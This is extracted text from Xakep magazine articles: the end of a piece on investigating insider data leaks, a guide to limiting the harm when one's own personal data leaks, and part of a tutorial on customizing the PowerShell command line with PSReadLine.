бес плат ного инс тру мен та , который пред став ляет собой образ заг- 
рузоч ной флеш ки. Кста ти, для соз дания самой заг рузоч ной флеш ки мож но
исполь зовать . И обра ти вни мание, что внеш ний носитель, который ты
будешь исполь зовать для сох ранения копии, дол жен иметь боль ший объ ем,
чем тот, с которо го ты эту копию сни маешь.

OSFСlone

Rufus

Ну а о том, как иссле довать обра зы дис ков на пред мет поис ка улик и арте- 
фак тов, «Хакер» уже неод нократ но  — здесь тебе поможет опуб- 
ликован ный нами цикл ста тей о форен зике.

пи сал

ÂÛÂÎÄÛ

В ходе рас сле дова ния внут ренних уте чек спе циалис ты час то при меня ют так
называ емый «метод ком понен тных дан ных». В рам ках это го метода иссле- 
дуют ся три вида сущ ностей:

объ ект;•
дей ствие;•
ка нал ком муника ции.•

Объ ектом может быть что угод но, вер нее, фак тичес ки все, что отно сит ся
к делу и что мож но обоз начить сущес тви тель ным: сот рудник, файл, компь- 
ютер, адрес email, ник, сер вер, учет ная запись, ноут бук, смар тфон и так
далее. Объ екты вза имо дей ству ют меж ду собой: нап ример, объ ект «база дан- 
ных» может иметь связь с объ ектом «учет ная запись», и иссле дова тель в сос- 
тоянии сос тавить спи сок дей ствий, отно сящих ся к этим двум объ ектам. Ска- 
жем, сот рудник, под клю чаясь к базе дан ных под сво ей учет ной записью,
получа ет дос туп к опре делен ным дан ным, которые затем переме щает
на внеш ний носитель.

И третье, что необ ходимо зафик сировать в ходе рас сле дова ния, —
это канал ком муника ции: бук валь но через какую сре ду объ екты вза имо дей- 
ству ют друг с дру гом. Это, нап ример, может быть внут ренняя про вод ная
или бес про вод ная сеть пред при ятия или интернет. Выс тро ив такую под- 
робную цепоч ку объ ектов, их дей ствий и свя зан ных с ними событий, иссле- 
дова тель опре деля ет, к каким звень ям этой цепи он может получить дос туп
и какие ее эле мен ты могут оставлять логи. Это каса ется не толь ко арте фак тов
в опе раци онной сис теме, но и реаль ного, физичес кого мира. Дмит рий
Борощук при водит такой при мер: если нуж но опре делить, мог ли сот рудник
в какой-то день ско пиро вать файл на флеш ку, находясь на сво ем рабочем
мес те, мож но прос мотреть записи офис ной сис темы виде онаб людения. Если
в ком пании исполь зует ся сис тема кон тро ля дос тупа, мож но выяс нить, прик- 
ладывал ли сот рудник кар точку-про пуск, что бы вой ти в помеще ние.
Это поможет выяс нить, при сутс тво вал ли физичес ки человек на сво ем
рабочем мес те в тот день или кто-то дру гой вос поль зовал ся его компь юте- 
ром и учет ной записью.

Соб ранные ком понен тные дан ные рас кла дыва ются по вре мен ной линии,
в резуль тате чего иссле дова тель получа ет пол ную и наг лядную кар тину инци- 
ден та. Таким обра зом реконс тру ирует ся цепоч ка событий, которая и при- 
водит к разоб лачению зло умыш ленни ка.

При веден ные выше при меры показы вают, что информа цион ная безопас- 
ность — это исто рия не толь ко про изу чение логов и ана лиз фай лов, но и
про события, про исхо дящие в реаль ном мире. А реаль ный мир порой под- 
бра сыва ет не мень ше сюр при зов, чем «вир туаль ный» мир компь ютер ных тех- 
нологий.

mailto:valentin@holmogorov.ru
https://t.me/BIHconsulting
https://www.osforensics.com/tools/create-disk-images.html
https://rufus.ie/ru/
https://xakep.ru/tag/forenzika/
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ПРИВАТНОСТЬ

Ес ли ты не нашел свои пас пор тные дан ные,
адре са элек трон ной поч ты, домаш ний
адрес и номер телефо на в сли тых базах
дан ных и телег рам-ботах — зна чит, пло хо
искал. Убе речь ся от попада ния тво ей пер- 
сональ ной информа ции в пуб личное прос- 
транс тво край не неп росто. Сегод ня мы
погово рим о том, что делать, если ты стал
жер твой такого сли ва.

INFO

Чи тай так же «
».

То таль ное отклю чение. Как гра мот- 
но зак рыть сче та и рас стать ся с бан ком

Ког да твои лич ные дан ные вне зап но ста новят ся дос тупны ми для все го мира,
мож но почувс тво вать себя в роли глав ного героя какого-нибудь гол ливуд ско- 
го трил лера. Поменять имя и адрес? Сме нить номер телефо на и пас порт?
Спо собы опре делен но дей ствен ные, но у нас есть идеи получ ше. Ведь утеч ка
лич ной информа ции — это не конец све та, а прос то начало нового прик- 
лючения. Важ но лишь знать, как дей ство вать в подоб ном слу чае.

Как извес тно, ковар ные хакеры не дрем лют и взла мыва ют всё, что
попадет ся им под руку. А попасть ся им под руку могут базы дан ных:

служб дос тавки;•
сер висов так си;•
он лайн-магази нов;•
лю бых про чих ресур сов, на которых ты можешь оста вить информа цию
о себе.

•

Ба зы дан ных самых раз ных сер висов могут быть похище ны и ока зать ся
у нехоро ших людей или вооб ще в откры том дос тупе. Пос ле того как их объ- 
еди нят в одну и про ведут с ними некото рые кор реляции, прак тичес ки вся твоя
жизнь будет как на ладони — любому жела юще му ста нут извес тны адре са
и даты, ког да ты поль зовал ся так си, куда заказы вал гам бурге ры или туалет- 
ную бумагу, в каких сер висах регис три ровал ся, какие зап части покупа ешь
для сво его авто моби ля и так далее. Давай подума ем, что мож но сде лать, что- 
бы сни зить эффект уте чек и обе зопа сить себя.

ÎÏÐÅÄÅËßÅÌ ÇÎÍÓ ÏÎÐÀÆÅÍÈß

От куда берут ся пер сональ ные дан ные в утеч ках? Оче вид но, что в сов ремен- 
ном мире все это хра нит ся в элек трон ных базах — СНИЛС, адре са регис тра- 
ции, пас пор тные и налого вые дан ные, номера бан ков ских карт. Мес то тво его
фак тичес кого про жива ния перес тает быть сек ретом бла года ря утеч кам
из служб дос тавки. Короче, если сущес тву ет элек трон ная БД, то, как и всё
в этом мире, она может быть похище на хакера ми и выс тавле на на про дажу.

Оче вид но, что нам ного про ще взло мать интернет-магазин или служ бу
дос тавки, чем банк или государс твен ную струк туру. Сле дова тель но, наломав
дос таточ ное количес тво более-менее популяр ных магази нов или сер висов,
мож но получить боль шой объ ем пер сональ ных дан ных мил лионов людей. Эту
информа цию и исполь зуют мошен ники в сво их неб лаговид ных целях.

Да вай при кинем, какие дан ные зап рашива ют магази ны, служ бы дос тавки
или так си. Обыч но это:

те лефон;•
ад рес дос тавки;•
ФИО;•
да та рож дения;•
элек трон ная поч та;•
пла теж ная информа ция.•

INFO

Глав ное ору жие мошен ников всех мас тей, поз- 
воля ющее им убе дитель но зву чать в телефо не, —
это информа ция о тебе. И в 90% слу чаев это ору- 
жие им в руки любез но пре дос тавил ты сам!

И это толь ко «безобид ные» сер висы — нап ример, если зло умыш ленни ки
доберут ся до элек трон ных сис тем круп ней ших сетевых оте лей, то в руки к ним
попадут уже твои пас пор тные дан ные, как и пас пор тные дан ные всех тех
людей, которые были с тобой в этом заведе нии. Пред став ляешь, каким
это может стать подар ком для мошен ников, кар деров, да и вооб ще жуликов
всех мас тей? А если взло мают медицин скую орга низа цию?

ÍÅ ÍÀÐÓØÀÉ ÇÀÊÎÍ

Не забывай, что граж данин любого государс тва дол жен неукос нитель но сле- 
довать его законам. Законо датель ством регули руют ся мно гие области
челове чес кой деятель нос ти, в том чис ле исполь зование псев донимов.

INFO

Ес ли верить Википе дии, псев доним —
это вымыш ленное имя (фамилия), которое
человек исполь зует в пуб личной деятель нос ти
вмес то нас тояще го (дан ного при рож дении,
зафик сирован ного в офи циаль ных докумен тах).
В кон тек сте этой статьи я упот ребляю сло во
«псев доним» для обоз начения вымыш ленных
анкетных дан ных.

Что каса ется Рос сий ской Федера ции, то, нап ример, исполь зование псев- 
донимов, то есть вымыш ленно го име ни, закон но, если псев доним не укра ден
у кого-то дру гого. Ины ми сло вами, любой граж данин нашей стра ны может
на совер шенно закон ных осно вани ях выб рать для себя никем не занятый
псев доним, хотя при этом называть себя, нап ример, Вик тором Оле гови чем
Пелеви ным или Кри сом Кас пер ски не име ет пра ва.

Но есть и огра ниче ния. Недопус тимо при обре тать и осу щест влять пра ва
и обя зан ности, исполь зуя псев доним. То есть нель зя, нап ример, под псев- 
донимом при обрести авто мобиль или иное тре бующее регис тра ции иму щес- 
тво, офор мить стра ховой полис или купить билет на самолет. Более под- 
робно читай в ГК РФ, .статья 19

Так же законом стро го зап рещено где бы то ни было исполь зовать чужие
пер сональ ные дан ные без сог ласия граж данина. Тут нуж но понимать, что
твои лич ные, выдуман ные тобой псев донимы и чужие пер сональ ные дан ные
с позиции закона две боль шие раз ницы. Нап ример, фамилию, имя, отчес тво,
дату рож дения, адрес регис тра ции, вооб ще дру гие све дения, пря мо или кос- 
венно отно сящи еся к опре делен ному челове ку, исполь зовать без его пись- 
мен ного сог ласия катего ричес ки зап рещено. Подоб ную информа цию
защища ет федераль ный закон « » от 27.07.2006 №
152-ФЗ. Исполь зование фотог рафий реаль ного челове ка так же зап реща ет
ГК РФ ( ).

О пер сональ ных дан ных

статья 152.1
То же самое каса ется и пра вил исполь зования раз личных сер висов —

читай эти пра вила и не нарушай их.

ÃÎÒÎÂÈÌÑß Ê ÂÎÇÌÎÆÍÛÌ ÓÒÅ×ÊÀÌ ÇÀÐÀÍÅÅ

На самом деле к тому, что твои лич ные дан ные могут попасть в паб лик
без тво его ведома, необ ходимо готовить ся заранее. При регис тра ции
на сай тах ста рай ся всег да ука зывать раз ные адре са элек трон ной поч ты и по
воз можнос ти исполь зуй раз ные номера телефо нов, нап ример там, где номер
нужен толь ко для регис тра ции, а по фак ту на него ник то никог да не зво нит.
Тут при годят ся мно гочис ленные сер висы, пре дос тавля ющие «одно разо вые»
телефон ные номера имен но на слу чай регис тра ции акка унтов. Одна ко пом ни,
что ты не смо жешь вос ста новить забытый пароль с помощью одно разо вого
кода, прис ланно го в SMS, если регис три ровал этот акка унт на арен дован ный
телефон ный номер.

Имей в виду, что даже если ты при регис тра ции на каж дом сер висе
исполь зовал раз ные псев донимы, зарегал вагон и малень кую тележ ку поч- 
товых ящи ков, но телефон был всег да оди нако вый, то он и ста нет тво им уни- 
каль ным иден тифика тором, по которо му тебя могут выс ледить, а потом объ- 
еди нить осталь ные дан ные. Та же исто рия с элек трон ной поч той: час то быва- 
ет, что для регис тра ции на сай тах и сер висах исполь зует ся не основной
адрес, а спе циаль но соз данный для спа ма. Это пра виль ный под ход, но пом- 
ни, что если им зло упот реблять и пос тоян но исполь зовать один и тот же
адрес, то имен но он в ито ге прев ратит ся в твой уни каль ный иден тифика тор.

Лич ные кабине ты некото рых интернет-магази нов, сер висов дос тавки
и подоб ных служб час то пред лага ют ука зать дан ные, которые сов сем не отно- 
сят ся к их про филю деятель нос ти. Нап ример, мес сен джер про сит ввес ти дату
рож дения, бан ков ские при ложе ния тре буют дать им дос туп к геоло кации
и адресной кни ге, какие-то сер висы могут пред ложить ука зать даже стра ницы
в соци аль ных сетях. Ну, положим, при ложе ние бан ка исполь зует адресную
кни гу для облегче ния денеж ных перево дов тво им друзь ям и родс твен никам,
а геоло кацию — что бы показать на кар те бли жай ший бан комат. Если ты
можешь обой тись без этих фун кций, луч ше их на вся кий слу чай отклю чить.
В общем, ста рай ся не пре дос тавлять сер висам избы точ ные дан ные о себе.
Чем мень ше информа ции ока жет ся в руках мошен ников в слу чае утеч ки, тем
луч ше!

Ес ли ты не поль зуешь ся какими-то сай тами — уда ляй лич ные кабине ты
на них. Час то быва ет, что при совер шении даже одной покуп ки авто мати чес ки
соз дает ся учет ка на сай те, где ука зан адрес дос тавки, имя получа теля,
телефон и элек трон ная поч та. В ито ге этот лич ный кабинет прев раща ется
еще в одну точ ку потен циаль ной утеч ки информа ции о тебе. Такие лич ные
кабине ты нуж но уда лять, если ты боль ше не пла ниру ешь что-то покупать
в этом интернет-магази не или поль зовать ся услу гами сай та. В самом край- 
нем слу чае зарегис три руешь ся там еще раз.

Пе ред уда лени ем замени свои дан ные несущес тву ющи ми, выж ди некото- 
рое вре мя, что бы база дан ных син хро низи рова лась, и толь ко потом уда ляй
учет ку. Если фун кции уда ления нет, то прос то поменяй все свои лич ные дан- 
ные на вымыш ленные. Кро ме все го про чего, мож но написать в адми нис тра- 
цию или служ бу тех ничес кой под дер жки с прось бой уда лить твой лич ный
кабинет.

INFO

Да, невоз можно точ но узнать, уда лил ли
интернет-магазин дан ные о тебе или прос то
пометил их как неак тивные, про дол жая хра нить
их у себя. Но в любом слу чае луч ше пос тарать ся
хоть как-то обе зопа сить себя от воз можных сли- 
вов информа ции, чем не делать вооб ще ничего.

ÎÁÌÀÍÛÂÀÅÌ ÎÁÌÀÍÙÈÊÎÂ

Те перь погово рим о том, что делать, если ты не успел как сле дует под- 
готовить ся, твои дан ные уже утек ли и находят ся в руках мошен ников. Уда лять
лич ные кабине ты уже поз дно (хотя все рав но сде лать это необ ходимо).
В подоб ной печаль ной ситу ации нужен иной под ход — тре бует ся прев ратить
твои акту аль ные дан ные в неак туаль ные!

Де ло в том, что подоб ные взло мы и утеч ки информа ции про исхо дят
доволь но час то. Кому нуж на база дан ных какого-то магази на кошачь его кор- 
ма или служ бы дос тавки за 2005 год? Ее ник то не купит, потому что полови на
хра нящей ся в ней информа ции уже дав но потеря ла свою акту аль ность.

А вот све жие утеч ки всег да в цене! Пос ле оче ред ной кра жи базы кли ентов
некото рые умель цы из дар кне та могут объ еди нять дан ные нес коль ких уте чек
из раз ных сер висов в одну боль шую мегаба зу. Имен но такие базы исполь- 
зуют все воз можные ОСИНТ-боты в телег раме. Эти базы обновля ются, ког да
про исхо дят новые утеч ки дан ных.

Вот этот самый факт мы и можем исполь зовать в сво их инте ресах. При няв
кое-какие меры даже пос ле того, как твои дан ные утек ли в паб лик, мож но
как минимум зас памить подоб ные базы, а имен но — поменять акту аль ные
дан ные в утеч ках на несущес тву ющие.

Мож но, конеч но, написать мошен никам про ник новен ное пись мо:
«Дорогие жулики, замени те, пожалуй ста в вашей сли той базе мои пер сональ- 
ные дан ные липовы ми», но такой путь тер нист и неэф фекти вен. Вмес то это го
прос то меня ем информа цию в лич ных кабине тах сер висов, которые допус- 
тили утеч ку: ско рее все го, через какое-то вре мя хакеры захотят опять угнать
базу, что бы обно вить ее и про дать по более выгод ной цене. И в новой утеч ке
твои дан ные либо будут уже неак туаль ны (если хакеры решили не объ еди нять
ста рую и новую базы), либо сме шают ся с пре дыду щими дан ными, и тог да
будет слож но понять, какая информа ция нас тоящая, а какая — фейк.

Пред ставь такую ситу ацию: есть номер телефо на, по которо му в одном
магази не делал заказ Username1, в дру гом — Username2, в треть ем —
Username3. Утеч ка из так си показы вает, что по это му номеру телефо на
вызыва ет машины Username4, а служ ба дос тавки зна ет, что у нее совер шает
заказы Username5. Вдо бавок у них у всех раз ная, нап ример, элек трон ная поч- 
та. В таком слу чае мошен ники не смо гут дос товер но опре делить, что вооб ще
про исхо дит: может, номер телефо на уже не акту ален и опе ратор переп родал
его дру гому або нен ту? Да и вооб ще, как, нап ример, при менять соци аль ную
инже нерию к челове ку, имя которо го ты даже тол ком не зна ешь? При помощи
такого зас памли вания мож но попор тить нер вы тем, кто зво нит тебе, называя
твое имя и пыта ясь ввес ти в заб лужде ние или навязать кре дит.

ÂÛÂÎÄÛ

Сог лашусь, исполь зовать для регис тра ции целую кучу спе циаль но соз данных
акка унтов доволь но уто митель но. Но кто зна ет, что луч ше: отби вать ся от мил- 
лион ных дол гов в сот не мик рофинан совых орга низа ций или пот ратить вре мя
на зачис тку сво их пер сональ ных дан ных? Каж дый реша ет для себя сам. Если
сле довать этим нес ложным пра вилам, ты слег ка испортишь жизнь мошен- 
никам и смо жешь обе зопа сить себя, ког да твои пер сональ ные дан ные ока- 
жут ся в чужих руках. Но не забывай, что делать это нуж но, не нарушая законы
и пра ва дру гих людей!

mailto:xtahi0nix@gmail.com
https://xakep.ru/2024/08/15/bank-shutdown/
https://www.consultant.ru/document/cons_doc_LAW_5142/df6b898b8d62608dbdb357f3108f49a90b9e3a69/
https://www.consultant.ru/document/cons_doc_LAW_61801/
https://www.consultant.ru/document/cons_doc_LAW_5142/14c6c3902cffa17ab26d330b2fd4fae28e5cd059/
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АДМИН

Ра бота в коман дной стро ке дол жна при- 
носить удо воль ствие, а не мучение от вво да
длин ных команд со мно жес твом парамет- 
ров, в которых лег ко оши бить ся. В этой
статье мы раз берем ся, как нас тро ить обо- 
лоч ку PowerShell, что бы сде лать ее мак- 
сималь но ком фор тной.

Пред ставь себе, нас коль ко при ятно поль зовать ся тер миналом и обо лоч кой,
которые отоб ража ют полез ную информа цию (нап ример, сос тояние репози- 
тория Git), под ска зыва ют нуж ные коман ды и про веря ют их кор рек тность, поз- 
воля ют выпол нять пос тоян но пов торя емые дей ствия нес коль кими нажати ями
кла виш.

В сети мож но най ти мно го информа ции о при емах работы в коман дных
обо лоч ках опе раци онных сис тем macOS и Linux и об инс тру мен тах для их
нас трой ки. Нап ример, для популяр ной сов ремен ной обо лоч ки Zsh раз- 
работан спе циаль ный фрей мворк Oh My Zsh, который упро щает управле ние
кон фигура циями, темами и пла гина ми для рас ширения фун кци ональ нос ти
кон соли.

О стан дар тной для Windows обо лоч ке PowerShell (которая, кста ти,
кросс-плат формен ная, ей мож но поль зовать ся во всех опе раци онных сис- 
темах) говорят и пишут реже. Что бы устра нить этот про бел, я пос вятил ее
осо бен ностям, исполь зованию и воз можнос тям целую кни гу «

», вто рое изда ние которой выш ло бук валь но месяц назад. Мно гие
прос то не зна ют о стан дар тной фун кци ональ нос ти PowerShell и счи тают, что
этот коман дный интер пре татор зна читель но усту пает тому же Zsh по удобс тву
работы и воз можнос тям кас томиза ции. В этой статье я пос тара юсь показать,
что это не так, и рас ска жу, какие встро енные воз можнос ти и допол нитель ные
модули (в том чис ле Oh My Posh) помогут тебе сде лать свою работу в кон соли
PowerShell более про изво дитель ной, удоб ной и при ятной.

Сов ремен ный
PowerShell

ÏÐÎÂÅÐÊÀ ÊÎÌÀÍÄ

Обо лоч ка PowerShell ана лизи рует коман ду по мере ее набора, не дожида ясь
завер шения вво да. При этом наз вания команд, парамет ров и перемен ных,
а так же клю чевые конс трук ции и дру гие эле мен ты язы ка отоб ража ются раз- 
ным цве том. Это помога ет луч ше понять струк туру команд и сни жает веро- 
ятность ошиб ки при наборе.

Вы деле ние цве том час тей коман ды PowerShell

Ес ли при наборе коман ды получа ется син такси чес ки невер ная конс трук ция
(нап ример, мы забыли пос тавить зак рыва ющую скоб ку или не написа ли
коман ду пос ле зна ка кон вей ера), то пос ледний знак  в приг лашении коман- 
дной стро ки окра сит ся в крас ный цвет.

>

Приз нак некор рек тной коман ды

ÀÂÒÎÌÀÒÈ×ÅÑÊÎÅ ÇÀÂÅÐØÅÍÈÅ ÊÎÌÀÍÄ

Ра ботая в тер минале, сов сем не обя затель но пол ностью набирать длин ные
коман ды с нес коль кими парамет рами. PowerShell под держи вает авто мати- 
чес кое завер шение раз ных час тей сво их команд:

пу ти к фай лам и катало гам в фай ловой сис теме. В записи путей фай ловой
сис темы мож но исполь зовать шаб лонные сим волы:  (заменя ет один про- 
изволь ный сим вол) и  (заменя ет любое количес тво про изволь ных сим- 
волов);

•
?

*

име на самих команд PowerShell и их парамет ров;•
име на перемен ных, опре делен ных в обо лоч ке;•
име на свой ств и методов объ ектов.•

Воз можностью авто мати чес кого завер шения команд мож но поль зовать ся
в двух режимах — под ста нов ка еди нич ного зна чения или выбор из всех воз- 
можных вари антов.

На жимая кла вишу Tab, мы будем цик личес ки переби рать все воз можные
вари анты по одно му. Нап ример, вве дем в коман дной стро ке PowerShell пер- 
вую часть име ни коман дле та, гла гол :get

PS C:\Users\andrv> get- 

Наж мем кла вишу Tab, в коман дной стро ке пер вый под ходящий коман длет:

PS C:\Users\andrv> Get-Acl 

Еще раз нажав Tab, получим сле дующий по алфа виту коман длет:

PS C:\Users\andrv> Get-Alias 

На жимая далее кла вишу Tab, мы можем переб рать все коман дле ты, начина- 
ющиеся с гла гола .Get

Пос мотрим, как PowerShell может помочь при наборе свой ств и методов
объ ектов. Вве дем сле дующие коман ды:

PS C:\Users\andrv> $s='qwerty' 
PS C:\Users\andrv> $s.len 

Наж мем кла вишу Tab:

PS C:\Users\andrv> $s.Length 

Обо лоч ка авто мати чес ки под ста вила свой ство , име ющееся у сим- 
воль ных перемен ных. Если под став ляет ся имя метода (фун кции), а не свой- 
ства, то пос ле его име ни авто мати чес ки ста вит ся круг лая скоб ка. Нап ример,
вве дем сле дующую коман ду:

Length

PS C:\Users\andrv> $s.sub 

Наж мем кла вишу Tab:

PS C:\Users\andrv> $s.Substring( 

Те перь мож но вво дить парамет ры метода .Substring
Для завер шения вво да коман ды удоб нее не переби рать вари анты

по одно му, а пос мотреть на их пол ный спи сок и выб рать в нем нуж ный пункт.
Такое меню с вари анта ми авто допол нения откры вает ся по нажатию ком- 
бинации кла виш Ctrl-про бел. По пред ложен ным вари антам мож но перехо дить
с помощью кла виш со стрел ками либо нажимая началь ные бук вы команд.
Для встав ки в коман дную стро ку выб ранно го вари анта нуж но нажать Enter.

Нап ример, если пос ле име ни коман ды через про бел наб рать знак тире
и нажать Ctrl-про бел, то ты уви дишь спи сок всех парамет ров, под держи- 
ваемых этой коман дой. Для текуще го выб ранно го свой ства на экра не отоб- 
ража ется его тип.

Спи сок всех парамет ров коман ды Get-Process

Что бы быс тро пос мотреть все име ющиеся у объ екта свой ства и методы, нуж- 
но ввес ти его имя, точ ку и нажать Ctrl-про бел. Для свой ств будет ука зан их
тип, а для методов — спи сок аргу мен тов и тип воз вра щаемо го зна чения.

Спи сок всех свой ств и методов объ екта типа System.String

ÏÎÂÒÎÐ ÊÎÌÀÍÄ ÈÇ ÈÑÒÎÐÈÈ

Для цик личес кого прос мотра исто рии выпол нявших ся команд исполь зуют ся
кла виши управле ния кур сором ↑ (пре дыду щая коман да) и ↓ (сле дующая
коман да). Выб ранную коман ду из исто рии мож но сра зу выпол нить или изме- 
нить нуж ным обра зом.

Ес ли ты пом нишь толь ко часть коман ды (необя затель но с начала), то
по ней мож но най ти под ходящие вари анты сре ди тех команд, которые выпол- 
нялись в обо лоч ке рань ше. Стро ка для поис ка в таком режиме акти виру ется
нажати ем ком бинации кла виш Ctrl-r (поиск по исто рии команд назад) или Ctrl-
s (поиск по исто рии команд впе ред). При этом поиск будет инкре мен таль ным,
то есть резуль тат уточ няет ся пос ле вво да каж дой новой бук вы.

Ин кре мен таль ный поиск выпол нявших ся ранее команд, содер жащих
стро ку ali

Так же, кро ме авто мати чес кого завер шения час тей команд, PowerShell под- 
держи вает тех нологию авто допол нения IntelliSense, ког да обо лоч ка сра зу
выда ет под ходящий завер шенный вари ант из спис ка вво див шихся ранее
команд. При нять пред ложен ный вари ант мож но одним нажати ем кла виши
«впра во».

По умол чанию режим IntelliSense в PowerShell отклю чен, акти виро вать его
в текущей сес сии мож но сле дующей коман дой:

  Set-PSReadLineOption -PredictionSource 'History'

Вы бор под ходящей коман ды в режиме IntelliSense

ÂÂÎÄ ÊÎÌÀÍÄÛ Â ÍÅÑÊÎËÜÊÎ ÑÒÐÎÊ

По умол чанию нажатие кла виши Enter при наборе коман ды завер шает ее
ввод, пос ле чего обо лоч ка опре деля ет, чем явля ется вве ден ная стро ка:

син такси чес ки вер ной завер шенной коман дой или выраже нием
PowerShell. В этом слу чае коман да выпол няет ся (выраже ние вычис ляет ся)
и обо лоч ка перехо дит к при ему сле дующей коман ды;

•

кор рек тной незавер шенной коман дой или выраже нием PowerShell,
которые могут быть про дол жены пос ле про бела. В таком слу чае ввод
коман ды про дол жает ся на сле дующей стро ке (сим вол перево да стро ки
при этом рас смат рива ется как обыч ный раз деля ющий про бел).

•

Нап ример, вычис лим зна чение выраже ния 10+2-3+(5*4-3), рас положив его
на трех стро ках:

 

 

PS C:\Users\andrv> 10+ 
〉〉 2-3+( 
〉〉 5*4-3) 
26 

Как видим, приг лашение при вво де допол нитель ных строк меня ется на сим- 
волы  — это приз нак того, что про дол жает ся ввод пре дыду щей коман ды.〉〉

Та ким обра зом, мно гос ловные коман ды мож но рас полагать на нес коль ких
стро ках. При этом мож но сво бод но переме щать ся по стро кам коман ды,
изме нять их, добав лять новые стро ки выше и ниже текущей стро ки. Новая
стро ка пос ле текущей встав ляет ся по нажатию ком бинации Shift-Enter,
а перед текущей стро кой — по нажатию Ctrl-Enter.

Но как быть, если ты наб рал син такси чес ки вер ную коман ду с нес коль кими
парамет рами и ее нуж но про дол жить на новой стро ке, а не выпол нить?
В этом слу чае пос ледним сим волом в стро ке нуж но ввес ти обратный апос- 
троф и нажать Enter. Пос ле это го ввод коман ды про дол жится со сле дующей
стро ки.

 

 

PS C:\Users\andrv> Get-Process ` 
>> -Name powershell 

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName 
-------  ------    -----      -----     ------     --  -- ----------- 
688      45    58568      77196       3,59  14916   3 powershell 

ÍÀÑÒÐÀÈÂÀÅÌ ÊÎÌÁÈÍÀÖÈÈ ÊËÀÂÈØ ÏÐÈ ÐÀÁÎÒÅ
Â ÊÎÌÀÍÄÍÎÉ ÑÒÐÎÊÅ: ÌÎÄÓËÜ PSREADLINE

Ес ли некото рые из опи сан ных выше воз можнос тей на тво ем компь юте ре
не работа ют, то это может быть свя зано с отсутс тви ем в обо лоч ке под клю- 
чен ного модуля PSReadLine. В Windows PowerShell 5.1 для Windows 10/11 и в
кросс-плат формен ных вер сиях PowerShell этот модуль дол жен быть уста нов- 
лен по умол чанию. Уви деть спи сок под клю чен ных модулей и про верить
наличие в нем PSReadLine мож но с помощью коман ды Get-Module:

 

 

PS C:\Users\andrv> Get-Module | Select Name, Version 

Name                            Version 
----                            -------
Microsoft.PowerShell.Management 3.1.0.0 
Microsoft.PowerShell.Security   3.0.0.0 
Microsoft.PowerShell.Utility    3.1.0.0 
Microsoft.WSMan.Management      3.0.0.0 
PSReadline                      2.1.0 

Под робную информа цию о модуле PSReadLine мож но пос мотреть сле- 
дующим обра зом:

 

 

PS C:\Users\andrv> Get-Module PSReadline | Format-List 

Name              : PSReadline 
Path              : C:\Program Files\WindowsPowerShell\Modules\ 
                    PSReadline\2.1.0\PSReadLine.psm1 
Description       : Great command line editing in the PowerShell 
                    console host 
ModuleType        : Script 
Version           : 2.1.0 
NestedModules     : {Microsoft.PowerShell.PSReadLine2} 
ExportedFunctions : PSConsoleHostReadLine 
ExportedCmdlets   : {Get-PSReadLineKeyHandler, Get-PSReadLineOp 
                    tion, Remove-PSReadLineKeyHandler, Set-PSRe 
                    adLineKeyHandler...} 
ExportedVariables : 
ExportedAliases   : 

Ес ли модуль PSReadLine не обна ружен, то его нуж но уста новить с помощью
сле дующей коман ды:

     Install-Module PSReadLine -Force -Scope CurrentUser
-SkipPublisherCheck

В PSReadLine опре деле ны сочета ния кла виш для выпол нения раз личных дей- 
ствий, в том чис ле для редак тирова ния тек ста в коман дной стро ке. Нап ример:

Êëà âèàòóð íàÿ

êîì áèíàöèÿ
Äåé ñòâèå

Ctrl-вле во Пе реме щение кур сора вле во на одно сло во

Ctrl-впра во Пе реме щение кур сора впра во на одно сло во

Home Пе реме щение кур сора в начало текущей стро ки

End Пе реме щение кур сора в конец текущей стро ки

Ctrl-Home
Уда ление сим волов от текущей позиции кур сора
до начала стро ки

Ctrl-End
Уда ление сим волов от текущей позиции кур сора
до кон ца стро ки

Esc
Очис тка стро ки (уда ление всех вве ден ных сим- 
волов)

Ctrl-z От мена изме нений

Ctrl-y Пов тор изме нений

Пос мотреть все под держи ваемые кла виатур ные ком бинации и опе рации
мож но с помощью коман ды :Get-PSReadlineKeyHandler

 

 

PS C:\Users\andrv> Get-PSReadlineKeyHandler 

Basic editing functions 

============================= 

Key              Function           Description 
---              --------           -----------
Enter            AcceptLine         Accept the input or move to the 
                                     next line if input is missing 
                                    a closing token. 
Shift+Enter      AddLine            Move the cursor to the next line 
                                     without attempting to execute 
                                     the input 
Backspace        BackwardDeleteChar Delete the character before the 
                                     cursor 
Ctrl+h           BackwardDeleteChar Delete the character before the 
                                     cursor 
Ctrl+Home        BackwardDeleteLine Delete text from the cursor to 
                                    the start of the line 
Ctrl+Backspace   BackwardKillWord   Move the text from the start of 
                                     the current or previous word to 
                                     the cursor to the kill ring 
Ctrl+w           BackwardKillWord   Move the text from the start of 
                                     the current or previous word to 
                                     the cursor to the kill ring 
Ctrl+C           Copy               Copy selected region to the sys 
                                    tem clipboard.  If no region is 
                                     selected, copy the whole line 
... 

Каж дая опе рация, под держи ваемая PSReadLine, здесь отне сена к одной
из катего рий:

Basic editing functions — основные фун кции редак тирова ния;•
Cursor movement functions — фун кции для переме щения кур сора;•
History functions — фун кции для работы с исто рией команд;•
Completion functions — фун кции авто допол нения при вво де;•
Miscellaneous functions — раз личные фун кции;•
Selection functions — фун кции для выделе ния тек ста;•
Search functions — фун кции для поис ка сим волов в стро ке вво да.•

Из менить сочета ния кла виш поз воля ет коман да .

Нап ример, наз начим кла вишам «вверх» и «вниз» фун кции
 (поиск назад по исто рии команд)

и  (поиск впе ред по исто рии команд) соот ветс твен но:

Set-PSReadlineKeyHandler

HistorySearchBackward
HistorySearchForward

PS C:\Users\andrv> Set-PSReadLineKeyHandler -Key UpArrow -Function 
HistorySearchBackward 
PS C:\Users\andrv> Set-PSReadLineKeyHandler -Key DownArrow -Function 
HistorySearchForward 

Те перь мы смо жем под став лять в коман дную стро ку коман ды из исто рии,
наб рав в коман дной стро ке их началь ные сим волы и нажимая кла вишу ↑
или кла вишу ↓.

Что бы не набирать при каж дом запус ке PowerShell коман ды для нас трой ки
PSReadLine, их нуж но помес тить в свой PowerShell-про филь (скрипт, который
авто мати чес ки выпол няет ся при запус ке PowerShell), путь к которо му хра нит- 
ся в перемен ной . В этом слу чае коман ды из про филя будут запус- 
кать ся при каж дом вхо де в обо лоч ку. Открыть про филь для редак тирова ния
в блок ноте мож но так:

$PROFILE

notepad %PROFILE

От мечу так же, что по умол чанию  сох раня ет в тек сто вом фай ле

на дис ке все коман ды, которые выпол нялись в обо лоч ке PowerShell. Пос- 
мотреть на содер жимое это го фай ла в блок ноте мож но сле дующей коман- 
дой:

PSReadLine

